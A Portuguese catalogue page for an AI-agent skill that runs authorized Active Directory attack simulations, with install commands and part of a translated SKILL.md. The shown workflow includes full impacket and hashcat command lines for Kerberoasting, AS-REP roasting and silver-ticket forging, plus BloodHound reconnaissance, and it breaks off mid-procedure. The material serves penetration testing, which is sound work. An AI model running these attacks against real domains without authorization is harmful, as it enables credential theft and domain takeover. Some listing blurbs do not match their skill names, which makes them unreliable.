executing-active-directory-attack-simulation
Faz seu agente simular ataques em ambientes do Active Directory. Ele encontra falhas de configuração e senhas fracas para proteger a rede.
O que ela faz
Esta ferramenta simula ataques autorizados a sistemas de rede chamados Active Directory. Ela procura por falhas de segurança, senhas fracas e caminhos que um invasor poderia usar para obter controle total do sistema.
Quando usar
- ✓Para testar a segurança de uma rede corporativa.
- ✓Para encontrar como um invasor poderia acessar contas de administrador.
- ✓Para verificar se as configurações de segurança resistem a ataques conhecidos.
Exemplo do que pedir para a IA
“Simule um ataque autorizado no nosso Active Directory para encontrar vulnerabilidades.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta usa programas específicos para coletar informações sobre a rede, analisar como um invasor poderia se mover e tentar explorar senhas fracas ou falhas de configuração.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill executing-active-directory-attack-simulationOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/executing-active-directory-attack-simulation/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Executando Simulação de Ataque ao Active Directory
Quando Usar
- Avaliar a segurança de um domínio e floresta do Active Directory contra técnicas de ataque comuns e avançadas
- Identificar caminhos de ataque de um usuário de domínio de baixa privilégio para Administrador de Domínio usando análise de relacionamento de privilégios
- Validar que as configurações de segurança do Kerberos, políticas de credenciais e configurações de delegação resistem a ataques conhecidos
- Testar as capacidades de detecção do SOC e das ferramentas EDR contra TTPs específicas do Active Directory
- Avaliar a eficácia de modelos de administração em camadas e estações de trabalho de acesso privilegiado
Não use sem autorização escrita explícita do proprietário do domínio, contra controladores de domínio de produção durante o horário comercial, a menos que aprovado, ou para testes que possam causar bloqueios de conta afetando usuários reais sem coordenação prévia.
Pré-requisitos
- Autorização escrita especificando o domínio AD alvo, restrições de teste e quaisquer contas ou sistemas fora dos limites
- Conta de usuário de domínio de baixa privilégio (ponto de partida mínimo) para simular a posição realista de um atacante
- Estação de trabalho de teste ingressada no domínio ou acesso de rede aos controladores de domínio nas portas 88, 135, 139, 389, 445, 636, 3268, 3269
- BloodHound Community Edition ou Enterprise com coletores SharpHound/AzureHound
- Toolkit Impacket, Mimikatz (ou pypykatz), Rubeus e CrackMapExec instalados na plataforma de ataque
- Hashcat ou John the Ripper com wordlists atuais (rockyou.txt, SecLists) para quebra de credenciais offline
Fluxo de Trabalho
Etapa 1: Reconhecimento do Active Directory
Enumerar o ambiente AD a partir de uma posição de usuário de domínio de baixa privilégio:
- Enumeração de domínio:
Get-ADDomainoucrackmapexec smb <dc_ip> -u <user> -p <pass> --domainspara identificar o nome do domínio, nível funcional, controladores de domínio e trusts de floresta - Enumeração de usuários:
Get-ADUser -Filter * -Properties ServicePrincipalName,AdminCount,PasswordLastSetpara identificar contas de serviço, contas privilegiadas e senhas desatualizadas - Enumeração de grupos: Mapear a associação de grupos de alto valor (Administradores de Domínio, Administradores de Empresa, Administradores de Schema, Operadores de Conta, Operadores de Backup) usando
net group "Domain Admins" /domain - Enumeração de GPO:
Get-GPO -All | Get-GPOReport -ReportType XMLpara identificar configurações de Política de Grupo, incluindo políticas de senha, configurações de auditoria e implantação de software - Enumeração de trusts:
nltest /domain_trusts /all_trustspara mapear trusts entre domínios e entre florestas, observando a direção e transitividade do trust - Consultas LDAP: Use
ldapsearchou ADExplorer para pesquisar contas com sinalizadoresuserAccountControlindicando "senha nunca expira", "senha não necessária" ou "Kerberos apenas DES"
Etapa 2: Análise de Caminho de Ataque do BloodHound
Coletar e analisar dados de relacionamento do AD para identificar os caminhos mais curtos para Administrador de Domínio:
- Executar o coletor SharpHound:
SharpHound.exe -c All,GPOLocalGroup --outputdirectory C:\temp\para coletar dados de usuários, grupos, sessões, ACLs, trusts e GPOs - Importar a saída JSON para o BloodHound e executar consultas integradas:
- "Caminhos Mais Curtos para Administradores de Domínio a Partir de Principais Comprometidos"
- "Encontrar Principais com Direitos DCSync"
- "Encontrar Computadores onde Usuários de Domínio são Administradores Locais"
- "Caminhos Mais Curtos para Sistemas de Delegação Irrestrita"
- "Encontrar Todos os Caminhos de Usuários com Possibilidade de Kerberoasting"
- Marcar o usuário comprometido como "proprietário" no BloodHound e analisar os caminhos de ataque resultantes
- Identificar caminhos de ataque baseados em ACL: GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword em objetos de alto valor
- Documentar cada caminho de ataque identificado com a cadeia de relacionamentos e objetos afetados
Etapa 3: Ataques Kerberos
Executar ataques baseados em Kerberos contra contas vulneráveis identificadas:
- Kerberoasting: Solicitar tickets TGS para contas com SPNs:
impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip <dc_ip> -request -outputfile kerberoast.hashes. Quebrar offline comhashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt - AS-REP Roasting: Alvo de contas sem pré-autenticação Kerberos:
impacket-GetNPUsers <domain>/ -dc-ip <dc_ip> -usersfile users.txt -format hashcat -outputfile asrep.hashes. Quebrar comhashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt - Silver Ticket: Se o hash NTLM de uma conta de serviço for quebrado, forjar um ticket TGS para esse serviço usando
impacket-ticketer -nthash <hash> -domain-sid <sid> -domain <domain> -spn <service/host> <username>
…
Perguntas frequentes
Preciso de permissão para usar esta ferramenta?
Sim, é crucial ter autorização escrita do proprietário do sistema antes de realizar qualquer simulação de ataque.
O que é Active Directory?
É um sistema usado por muitas empresas para gerenciar computadores, usuários e permissões em uma rede.
Esta ferramenta pode causar danos reais?
Se usada sem cuidado ou autorização, pode afetar o funcionamento normal da rede. Por isso, a autorização e o planejamento são essenciais.
Detalhes
Descrição original do autor
Executes authorized attack simulations against Active Directory environments to identify misconfigurations, weak credentials, dangerous privilege paths, and exploitable trust relationships that could lead to domain compromise. The tester uses BloodHound for attack path analysis, Mimikatz for credential extraction, and Impacket for protocol-level attacks including Kerberoasting, AS-REP Roasting, an
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #5729
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
agent-architecture-audit
Faz seu agente verificar se tudo está funcionando corretamente. Ele encontra e conserta problemas em sistemas de IA, garantindo que funcionem como esperado.
affaan-m/ECC
agent-eval
Ajuda seu agente a comparar diferentes ferramentas de programação de IA. Ele mede qual é mais rápido, barato e confiável para realizar tarefas específicas.
affaan-m/ECC
agent-harness-construction
Faz seu agente entender melhor como realizar tarefas. Ele otimiza as ferramentas e instruções que o agente usa para aumentar suas chances de sucesso.
affaan-m/ECC